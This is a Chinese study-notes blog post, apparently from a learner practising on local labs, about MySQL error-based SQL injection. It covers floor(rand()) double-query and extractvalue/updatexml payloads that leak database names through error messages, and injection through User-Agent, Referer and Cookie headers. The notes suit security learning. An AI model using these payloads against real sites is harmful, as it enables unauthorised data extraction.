報(bào)錯(cuò)型注入
昨天學(xué)了基于時(shí)間型和基于布爾型的盲注,今天整個(gè)報(bào)錯(cuò)型的注入
基本分為:
雙查詢注入
基于
extractvalue/updatexml
的報(bào)錯(cuò)注入
雙查詢注入
核心函數(shù):
floor(rand(14)*2)
分析rand()與floor()在雙查詢中的作用
數(shù)據(jù)庫:
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
?
mysql> select floor(rand(14)*2) from information_schema.schemata;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
1.floor(rand(14)*2)) ×2可以使范圍落在[0,1]內(nèi)织狐,rand(14)的前4位是1010更快報(bào)錯(cuò)
2.rand()函數(shù)執(zhí)行的次數(shù)取決于數(shù)據(jù)庫的多少筏勒,即from后面的目標(biāo)
基本的句式: 這里報(bào)出的是當(dāng)前數(shù)據(jù)庫
mysql> select(concat((select database()),floor(rand(14)*2)))c,count(*) from information_schema.tables group by c;
ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'
關(guān)于floor(rand()*2)的深究
基本原理是是在計(jì)數(shù)時(shí)count(*)
,臨時(shí)生成了一張key-tally
表,key記錄每一行數(shù)據(jù)的所屬管行,就如同下邊的每一行數(shù)據(jù)中的表tables
所屬的庫名,key
不可重復(fù)荡陷,tally
為計(jì)的數(shù)迅涮。
mysql> select table_schema, count(*) from information_schema.tables group by table_schema;
+--------------------+----------+
| table_schema | count(*) |
+--------------------+----------+
| challenges | 1 |
| dvwa | 2 |
| information_schema | 40 |
| mysql | 24 |
| performance_schema | 17 |
| security | 4 |
| test | 1 |
+--------------------+----------+
但對于rand()
,MySQL
在處理它時(shí)會(huì)進(jìn)行兩次計(jì)算叮姑,第一次是在檢測時(shí),第二次是在寫入時(shí)耘沼,如果兩次值不同且第二次的值在key-tally
表中存在,就會(huì)報(bào)錯(cuò)菠隆,故它的報(bào)錯(cuò)原理是寫入了重復(fù)的鍵key
骚烧,比如floor(rand(14)*2)
生成的隨機(jī)數(shù)為1010001赃绊,檢測為1可以寫入,但是寫入時(shí)再次計(jì)算變成了0碧查,0就被寫入為key
忠售,第二次檢測為1可以寫入,但寫入時(shí)又進(jìn)行了計(jì)算變?yōu)?卦方,若再次寫入0就會(huì)重復(fù)添加了key
盼砍,造成報(bào)錯(cuò)。
mysql> select floor(rand(14)*2) from information_schema.schemata;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
問題來了:
當(dāng)我進(jìn)行測試floor(rand(92)*2)
時(shí)浇坐,按照上述原理應(yīng)該會(huì)報(bào)錯(cuò)的近刘,但是計(jì)算了800+次還是沒有報(bào)錯(cuò)觉渴,我就很納悶……希望以后的我會(huì)來看時(shí)能解決
下面是前8次計(jì)算值,最后很奇怪為什么會(huì)有下面的結(jié)果疆拘,我分析的話0應(yīng)該有3個(gè)哎迄,1應(yīng)該有4個(gè)
+-------------------+
| floor(rand(92)*2) |
+-------------------+
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
mysql> select floor(rand(92)*2)c, count(*)from information_schema.schemata group by c;
+---+----------+
| c | count(*) |
+---+----------+
| 0 | 2 |
| 1 | 5 |
+---+----------+
基于extractvalue/updatexml的報(bào)錯(cuò)注入
基本原理: extractvalue/updatexml
函數(shù)內(nèi)有個(gè)路徑參數(shù),當(dāng)這個(gè)路徑參數(shù)格式寫錯(cuò)時(shí)翔烁,會(huì)產(chǎn)生報(bào)錯(cuò)并返回該錯(cuò)誤路徑,故可以在錯(cuò)誤的路徑中添加查詢語句演顾。
基本格式:
mysql> select extractvalue(rand(),concat(1,database()));
ERROR 1105 (HY000): XPATH syntax error: 'security'
?
mysql> select updatexml(rand(),concat(1,database()),1);
ERROR 1105 (HY000): XPATH syntax error: 'security'</pre>
http header注入
在post
和get
都無效時(shí),可以嘗試http header
注入
不同類型:
User-Agent
型Referer
型Cookie
型
User-Agent 型
原理:修改User-Agent
的值,進(jìn)行SQL
注入,與get
和post
的原理一樣
抓包管搪,拿到頭部數(shù)據(jù)
對
User-Agent
進(jìn)行修改發(fā)送改后的包
工具
burpsuite
火狐插件
HackBar
火狐插件
HTTP Header Live
火狐插件
Modify Headers
用后面兩個(gè)插件就可以了
Referer 型
抓包更鲁,拿到頭部數(shù)據(jù)
對
User-Agent
進(jìn)行修改發(fā)送改后的包
火狐插件
HackBar
火狐插件
HTTP Header Live
火狐插件
Modify Headers
Cookie 型
原理:對Cookie
的value
進(jìn)行SQL
注入澡为,原理類似
火狐插件
HackBar
火狐插件
HTTP Header Live
-
火狐插件
Cookie Editor
image
雜事
下午刷了一些盲注的題,嘗試使用手工測試媒至,測試了大半天才搞完一題塘慕,明天學(xué)學(xué)sqlmap
吧